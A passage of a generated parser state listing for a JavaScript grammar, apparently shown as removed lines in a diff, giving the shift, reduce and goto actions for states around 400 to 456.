-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 432
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 305
-  EqualityExprNoIn  go to state 306
-  BitwiseANDExprNoIn  go to state 307
-  BitwiseXORExprNoIn  go to state 308
-  BitwiseORExprNoIn  go to state 309
-  LogicalANDExprNoIn  go to state 310
-  LogicalORExprNoIn  go to state 311
-  AssignmentExprNoIn  go to state 449
-  ConditionalExprNoIn  go to state 312
-
-state 400
-
- 216) ExprNoIn : ExprNoIn "," _ AssignmentExprNoIn
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 432
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 305
-  EqualityExprNoIn  go to state 306
-  BitwiseANDExprNoIn  go to state 307
-  BitwiseXORExprNoIn  go to state 308
-  BitwiseORExprNoIn  go to state 309
-  LogicalANDExprNoIn  go to state 310
-  LogicalORExprNoIn  go to state 311
-  ConditionalExprNoIn  go to state 312
-  AssignmentExprNoIn  go to state 450
-
-state 401
-
- 246) IterationStatement : FOR "(" ExprNoInOpt ";" _ ExprOpt ";" ExprOpt ")" Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  $default      reduce using rule 251 (ExprOpt)
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 451
-  ExprOpt       go to state 452
-
-state 402
-
- 224) VariableDeclarationListNoIn : VariableDeclarationNoIn _
-
-  $default      reduce using rule 224 (VariableDeclarationListNoIn)
-
-
-state 403
-
- 225) VariableDeclarationListNoIn : VariableDeclarationListNoIn _ "," VariableDeclarationNoIn
- 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn _ ";" ExprOpt ";" ExprOpt ")" Statement
-
-  ","           shift, and go to state 453
-  ";"           shift, and go to state 454
-
-
-state 404
-
- 228) VariableDeclarationNoIn : IDENT _
- 229) VariableDeclarationNoIn : IDENT _ InitializerNoIn
- 249) IterationStatement : FOR "(" VAR IDENT _ IN Expr ")" Statement
- 250) IterationStatement : FOR "(" VAR IDENT _ InitializerNoIn IN Expr ")" Statement
-
-  IN            shift, and go to state 457
-  "="           shift, and go to state 456
-  $default      reduce using rule 228 (VariableDeclarationNoIn)
-
-  InitializerNoIn  go to state 455
-
-state 405
-
- 267) WithStatement : WITH "(" Expr ")" _ Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  Statement     go to state 458
-
-state 406
-
- 268) SwitchStatement : SWITCH "(" Expr ")" _ CaseBlock
-
-  "{"           shift, and go to state 460
-
-  CaseBlock     go to state 459
-
-state 407
-
- 280) TryStatement : TRY Block FINALLY Block _
-
-  $default      reduce using rule 280 (TryStatement)
-
-
-state 408
-
- 281) TryStatement : TRY Block CATCH "(" _ IDENT ")" Block
- 282) TryStatement : TRY Block CATCH "(" _ IDENT ")" Block FINALLY Block
-
-  IDENT         shift, and go to state 461
-
-
-state 409
-
- 285) FunctionDeclaration : FUNCTION IDENT "(" ")" _ "{" FunctionBody "}"
-
-  "{"           shift, and go to state 462
-
-
-state 410
-
- 286) FunctionDeclaration : FUNCTION IDENT "(" FormalParameterList _ ")" "{" FunctionBody "}"
- 292) FormalParameterList : FormalParameterList _ "," IDENT
-
-  ")"           shift, and go to state 463
-  ","           shift, and go to state 422
-
-
-state 411
-
-  29) Property : IDENT ":" AssignmentExpr _
-
-  $default      reduce using rule 29 (Property)
-
-
-state 412
-
-  32) Property : IDENT IDENT "(" _ ")" "{" FunctionBody "}"
-  33) Property : IDENT IDENT "(" _ FormalParameterList ")" "{" FunctionBody "}"
-
-  IDENT         shift, and go to state 369
-  ")"           shift, and go to state 464
-
-  FormalParameterList  go to state 465
-
-state 413
-
-  30) Property : STRING ":" AssignmentExpr _
-
-  $default      reduce using rule 30 (Property)
-
-
-state 414
-
-  31) Property : NUMBER ":" AssignmentExpr _
-
-  $default      reduce using rule 31 (Property)
-
-
-state 415
-
-  35) PropertyList : PropertyList "," Property _
-
-  $default      reduce using rule 35 (PropertyList)
-
-
-state 416
-
-  39) PrimaryExpr : "{" PropertyList "," "}" _
-
-  $default      reduce using rule 39 (PrimaryExpr)
-
-
-state 417
-
-  56) MemberExpr : MemberExpr "[" Expr "]" _
-
-  $default      reduce using rule 56 (MemberExpr)
-
-
-state 418
-
-  69) CallExpr : CallExpr "[" Expr "]" _
-
-  $default      reduce using rule 69 (CallExpr)
-
-
-state 419
-
- 190) ConditionalExpr : LogicalORExpr "?" AssignmentExpr ":" _ AssignmentExpr
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  AssignmentExpr  go to state 466
-  ConditionalExpr  go to state 109
-
-state 420
-
- 287) FunctionExpr : FUNCTION "(" ")" "{" _ FunctionBody "}"
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  BREAK         shift, and go to state 74
-  CONST         shift, and go to state 67
-  CONTINUE      shift, and go to state 73
-  DEBUGGER      shift, and go to state 80
-  DELETE        shift, and go to state 40
-  DO            shift, and go to state 70
-  FOR           shift, and go to state 72
-  FUNCTION      shift, and go to state 81
-  IF            shift, and go to state 69
-  NEW           shift, and go to state 36
-  RETURN        shift, and go to state 75
-  SWITCH        shift, and go to state 77
-  THIS          shift, and go to state 28
-  THROW         shift, and go to state 78
-  TRY           shift, and go to state 79
-  TYPEOF        shift, and go to state 42
-  VAR           shift, and go to state 66
-  VOID          shift, and go to state 41
-  WHILE         shift, and go to state 71
-  WITH          shift, and go to state 76
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 31
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 65
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  ";"           shift, and go to state 68
-  $default      reduce using rule 1 (SourceElements)
-
-  SourceElementList  go to state 2
-  SourceElement  go to state 3
-  FunctionDeclaration  go to state 4
-  Statement     go to state 5
-  Block         go to state 6
-  VariableStatement  go to state 7
-  ConstStatement  go to state 8
-  EmptyStatement  go to state 9
-  ExprStatement  go to state 10
-  IfStatement   go to state 11
-  IterationStatement  go to state 12
-  ContinueStatement  go to state 13
-  BreakStatement  go to state 14
-  ReturnStatement  go to state 15
-  WithStatement  go to state 16
-  SwitchStatement  go to state 17
-  LabelledStatement  go to state 18
-  ThrowStatement  go to state 19
-  TryStatement  go to state 20
-  DebuggerStatement  go to state 21
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExprNoBrace  go to state 34
-  MemberExprNoBF  go to state 35
-  CallExprNoBF  go to state 37
-  NewExprNoBF   go to state 38
-  LeftHandSideExprNoBF  go to state 39
-  PostfixExprNoBF  go to state 49
-  UnaryExprCommon  go to state 50
-  UnaryExprNoBF  go to state 51
-  MultiplicativeExprNoBF  go to state 52
-  AdditiveExprNoBF  go to state 53
-  ShiftExprNoBF  go to state 54
-  RelationalExprNoBF  go to state 55
-  EqualityExprNoBF  go to state 56
-  BitwiseANDExprNoBF  go to state 57
-  BitwiseXORExprNoBF  go to state 58
-  BitwiseORExprNoBF  go to state 59
-  LogicalANDExprNoBF  go to state 60
-  LogicalORExprNoBF  go to state 61
-  ConditionalExprNoBF  go to state 62
-  AssignmentExprNoBF  go to state 63
-  ExprNoBF      go to state 64
-  FunctionBody  go to state 467
-  SourceElements  go to state 468
-
-state 421
-
- 288) FunctionExpr : FUNCTION "(" FormalParameterList ")" _ "{" FunctionBody "}"
-
-  "{"           shift, and go to state 469
-
-
-state 422
-
- 292) FormalParameterList : FormalParameterList "," _ IDENT
-
-  IDENT         shift, and go to state 470
-
-
-state 423
-
- 289) FunctionExpr : FUNCTION IDENT "(" ")" _ "{" FunctionBody "}"
-
-  "{"           shift, and go to state 471
-
-
-state 424
-
- 290) FunctionExpr : FUNCTION IDENT "(" FormalParameterList _ ")" "{" FunctionBody "}"
- 292) FormalParameterList : FormalParameterList _ "," IDENT
-
-  ")"           shift, and go to state 472
-  ","           shift, and go to state 422
-
-
-state 425
-
-  47) ArrayLiteral : "[" ElementList "," ElisionOpt "]" _
-
-  $default      reduce using rule 47 (ArrayLiteral)
-
-
-state 426
-
-  49) ElementList : ElementList "," ElisionOpt AssignmentExpr _
-
-  $default      reduce using rule 49 (ElementList)
-
-
-state 427
-
-  78) ArgumentList : ArgumentList "," AssignmentExpr _
-
-  $default      reduce using rule 78 (ArgumentList)
-
-
-state 428
-
- 194) ConditionalExprNoBF : LogicalORExprNoBF "?" AssignmentExpr ":" AssignmentExpr _
-
-  $default      reduce using rule 194 (ConditionalExprNoBF)
-
-
-state 429
-
- 241) IfStatement : IF "(" Expr ")" Statement _
- 242) IfStatement : IF "(" Expr ")" Statement _ ELSE Statement
-
-  ELSE          shift, and go to state 473
-  $default      reduce using rule 241 (IfStatement)
-
-
-state 430
-
- 214) Expr : Expr _ "," AssignmentExpr
- 243) IterationStatement : DO Statement WHILE "(" Expr _ ")" ";"
- 244) IterationStatement : DO Statement WHILE "(" Expr _ ")" error
-
-  ")"           shift, and go to state 474
-  ","           shift, and go to state 213
-
-
-state 431
-
- 245) IterationStatement : WHILE "(" Expr ")" Statement _
-
-  $default      reduce using rule 245 (IterationStatement)
-
-
-state 432
-
-  83) PostfixExpr : LeftHandSideExpr _
-  84) PostfixExpr : LeftHandSideExpr _ PLUSPLUS
-  85) PostfixExpr : LeftHandSideExpr _ MINUSMINUS
- 198) AssignmentExprNoIn : LeftHandSideExpr _ AssignmentOperator AssignmentExprNoIn
-
-  PLUSPLUS      shift, and go to state 222
-  MINUSMINUS    shift, and go to state 223
-  PLUSEQUAL     shift, and go to state 129
-  MINUSEQUAL    shift, and go to state 130
-  MULTEQUAL     shift, and go to state 131
-  DIVEQUAL      shift, and go to state 132
-  LSHIFTEQUAL   shift, and go to state 133
-  RSHIFTEQUAL   shift, and go to state 134
-  URSHIFTEQUAL  shift, and go to state 135
-  ANDEQUAL      shift, and go to state 136
-  MODEQUAL      shift, and go to state 139
-  XOREQUAL      shift, and go to state 137
-  OREQUAL       shift, and go to state 138
-  "="           shift, and go to state 128
-  $default      reduce using rule 83 (PostfixExpr)
-
-  AssignmentOperator  go to state 383
-
-state 433
-
- 198) AssignmentExprNoIn : LeftHandSideExpr AssignmentOperator AssignmentExprNoIn _
-
-  $default      reduce using rule 198 (AssignmentExprNoIn)
-
-
-state 434
-
- 214) Expr : Expr _ "," AssignmentExpr
- 248) IterationStatement : FOR "(" LeftHandSideExpr IN Expr _ ")" Statement
-
-  ")"           shift, and go to state 475
-  ","           shift, and go to state 213
-
-
-state 435
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 132) RelationalExprNoIn : RelationalExprNoIn "<" ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 132 (RelationalExprNoIn)
-
-
-state 436
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 133) RelationalExprNoIn : RelationalExprNoIn ">" ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 133 (RelationalExprNoIn)
-
-
-state 437
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 134) RelationalExprNoIn : RelationalExprNoIn LE ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 134 (RelationalExprNoIn)
-
-
-state 438
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 135) RelationalExprNoIn : RelationalExprNoIn GE ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 135 (RelationalExprNoIn)
-
-
-state 439
-
- 117) ShiftExpr : ShiftExpr _ LSHIFT AdditiveExpr
- 118) ShiftExpr : ShiftExpr _ RSHIFT AdditiveExpr
- 119) ShiftExpr : ShiftExpr _ URSHIFT AdditiveExpr
- 136) RelationalExprNoIn : RelationalExprNoIn INSTANCEOF ShiftExpr _
-
-  LSHIFT        shift, and go to state 230
-  RSHIFT        shift, and go to state 231
-  URSHIFT       shift, and go to state 232
-  $default      reduce using rule 136 (RelationalExprNoIn)
-
-
-state 440
-
- 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr
- 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr
- 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr
- 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr
- 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr
- 150) EqualityExprNoIn : EqualityExprNoIn EQEQ RelationalExprNoIn _
-
-  INSTANCEOF    shift, and go to state 389
-  LE            shift, and go to state 387
-  GE            shift, and go to state 388
-  "<"           shift, and go to state 385
-  ">"           shift, and go to state 386
-  $default      reduce using rule 150 (EqualityExprNoIn)
-
-
-state 441
-
- 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr
- 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr
- 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr
- 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr
- 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr
- 151) EqualityExprNoIn : EqualityExprNoIn NE RelationalExprNoIn _
-
-  INSTANCEOF    shift, and go to state 389
-  LE            shift, and go to state 387
-  GE            shift, and go to state 388
-  "<"           shift, and go to state 385
-  ">"           shift, and go to state 386
-  $default      reduce using rule 151 (EqualityExprNoIn)
-
-
-state 442
-
- 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr
- 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr
- 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr
- 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr
- 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr
- 152) EqualityExprNoIn : EqualityExprNoIn STREQ RelationalExprNoIn _
-
-  INSTANCEOF    shift, and go to state 389
-  LE            shift, and go to state 387
-  GE            shift, and go to state 388
-  "<"           shift, and go to state 385
-  ">"           shift, and go to state 386
-  $default      reduce using rule 152 (EqualityExprNoIn)
-
-
-state 443
-
- 132) RelationalExprNoIn : RelationalExprNoIn _ "<" ShiftExpr
- 133) RelationalExprNoIn : RelationalExprNoIn _ ">" ShiftExpr
- 134) RelationalExprNoIn : RelationalExprNoIn _ LE ShiftExpr
- 135) RelationalExprNoIn : RelationalExprNoIn _ GE ShiftExpr
- 136) RelationalExprNoIn : RelationalExprNoIn _ INSTANCEOF ShiftExpr
- 153) EqualityExprNoIn : EqualityExprNoIn STRNEQ RelationalExprNoIn _
-
-  INSTANCEOF    shift, and go to state 389
-  LE            shift, and go to state 387
-  GE            shift, and go to state 388
-  "<"           shift, and go to state 385
-  ">"           shift, and go to state 386
-  $default      reduce using rule 153 (EqualityExprNoIn)
-
-
-state 444
-
- 150) EqualityExprNoIn : EqualityExprNoIn _ EQEQ RelationalExprNoIn
- 151) EqualityExprNoIn : EqualityExprNoIn _ NE RelationalExprNoIn
- 152) EqualityExprNoIn : EqualityExprNoIn _ STREQ RelationalExprNoIn
- 153) EqualityExprNoIn : EqualityExprNoIn _ STRNEQ RelationalExprNoIn
- 162) BitwiseANDExprNoIn : BitwiseANDExprNoIn "&" EqualityExprNoIn _
-
-  EQEQ          shift, and go to state 390
-  NE            shift, and go to state 391
-  STREQ         shift, and go to state 392
-  STRNEQ        shift, and go to state 393
-  $default      reduce using rule 162 (BitwiseANDExprNoIn)
-
-
-state 445
-
- 162) BitwiseANDExprNoIn : BitwiseANDExprNoIn _ "&" EqualityExprNoIn
- 168) BitwiseXORExprNoIn : BitwiseXORExprNoIn "^" BitwiseANDExprNoIn _
-
-  "&"           shift, and go to state 394
-  $default      reduce using rule 168 (BitwiseXORExprNoIn)
-
-
-state 446
-
- 168) BitwiseXORExprNoIn : BitwiseXORExprNoIn _ "^" BitwiseANDExprNoIn
- 174) BitwiseORExprNoIn : BitwiseORExprNoIn "|" BitwiseXORExprNoIn _
-
-  "^"           shift, and go to state 395
-  $default      reduce using rule 174 (BitwiseORExprNoIn)
-
-
-state 447
-
- 174) BitwiseORExprNoIn : BitwiseORExprNoIn _ "|" BitwiseXORExprNoIn
- 180) LogicalANDExprNoIn : LogicalANDExprNoIn AND BitwiseORExprNoIn _
-
-  "|"           shift, and go to state 396
-  $default      reduce using rule 180 (LogicalANDExprNoIn)
-
-
-state 448
-
- 180) LogicalANDExprNoIn : LogicalANDExprNoIn _ AND BitwiseORExprNoIn
- 186) LogicalORExprNoIn : LogicalORExprNoIn OR LogicalANDExprNoIn _
-
-  AND           shift, and go to state 397
-  $default      reduce using rule 186 (LogicalORExprNoIn)
-
-
-state 449
-
- 192) ConditionalExprNoIn : LogicalORExprNoIn "?" AssignmentExprNoIn _ ":" AssignmentExprNoIn
-
-  ":"           shift, and go to state 476
-
-
-state 450
-
- 216) ExprNoIn : ExprNoIn "," AssignmentExprNoIn _
-
-  $default      reduce using rule 216 (ExprNoIn)
-
-
-state 451
-
- 214) Expr : Expr _ "," AssignmentExpr
- 252) ExprOpt : Expr _
-
-  ","           shift, and go to state 213
-  $default      reduce using rule 252 (ExprOpt)
-
-
-state 452
-
- 246) IterationStatement : FOR "(" ExprNoInOpt ";" ExprOpt _ ";" ExprOpt ")" Statement
-
-  ";"           shift, and go to state 477
-
-
-state 453
-
- 225) VariableDeclarationListNoIn : VariableDeclarationListNoIn "," _ VariableDeclarationNoIn
-
-  IDENT         shift, and go to state 479
-
-  VariableDeclarationNoIn  go to state 478
-
-state 454
-
- 247) IterationStatement : FOR "(" VAR VariableDeclarationListNoIn ";" _ ExprOpt ";" ExprOpt ")" Statement
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-  $default      reduce using rule 251 (ExprOpt)
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 95
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 101
-  RelationalExpr  go to state 102
-  EqualityExpr  go to state 103
-  BitwiseANDExpr  go to state 104
-  BitwiseXORExpr  go to state 105
-  BitwiseORExpr  go to state 106
-  LogicalANDExpr  go to state 107
-  LogicalORExpr  go to state 108
-  ConditionalExpr  go to state 109
-  AssignmentExpr  go to state 110
-  Expr          go to state 451
-  ExprOpt       go to state 480
-
-state 455
-
- 229) VariableDeclarationNoIn : IDENT InitializerNoIn _
- 250) IterationStatement : FOR "(" VAR IDENT InitializerNoIn _ IN Expr ")" Statement
-
-  IN            shift, and go to state 481
-  $default      reduce using rule 229 (VariableDeclarationNoIn)
-
-
-state 456
-
- 237) InitializerNoIn : "=" _ AssignmentExprNoIn
-
-  NULL          shift, and go to state 22
-  TRUE          shift, and go to state 23
-  FALSE         shift, and go to state 24
-  DELETE        shift, and go to state 40
-  FUNCTION      shift, and go to state 111
-  NEW           shift, and go to state 92
-  THIS          shift, and go to state 28
-  TYPEOF        shift, and go to state 42
-  VOID          shift, and go to state 41
-  PLUSPLUS      shift, and go to state 43
-  MINUSMINUS    shift, and go to state 44
-  REGEXP        shift, and go to state 27
-  NUMBER        shift, and go to state 25
-  STRING        shift, and go to state 26
-  IDENT         shift, and go to state 87
-  "("           shift, and go to state 32
-  "{"           shift, and go to state 86
-  "["           shift, and go to state 33
-  "+"           shift, and go to state 45
-  "-"           shift, and go to state 46
-  "~"           shift, and go to state 47
-  "!"           shift, and go to state 48
-
-  PrimaryExprNoBrace  go to state 85
-  Literal       go to state 29
-  ArrayLiteral  go to state 30
-  PrimaryExpr   go to state 89
-  FunctionExpr  go to state 90
-  MemberExpr    go to state 91
-  CallExpr      go to state 93
-  NewExpr       go to state 94
-  LeftHandSideExpr  go to state 432
-  PostfixExpr   go to state 96
-  UnaryExprCommon  go to state 97
-  UnaryExpr     go to state 98
-  MultiplicativeExpr  go to state 99
-  AdditiveExpr  go to state 100
-  ShiftExpr     go to state 304
-  RelationalExprNoIn  go to state 305
-  EqualityExprNoIn  go to state 306
-  BitwiseANDExprNoIn  go to state 307
-  BitwiseXORExprNoIn  go to state 308
-  BitwiseORExprNoIn  go to state 309
-  LogicalANDExprNoIn  go to state 310
-  LogicalORExprNoIn  go to state 311
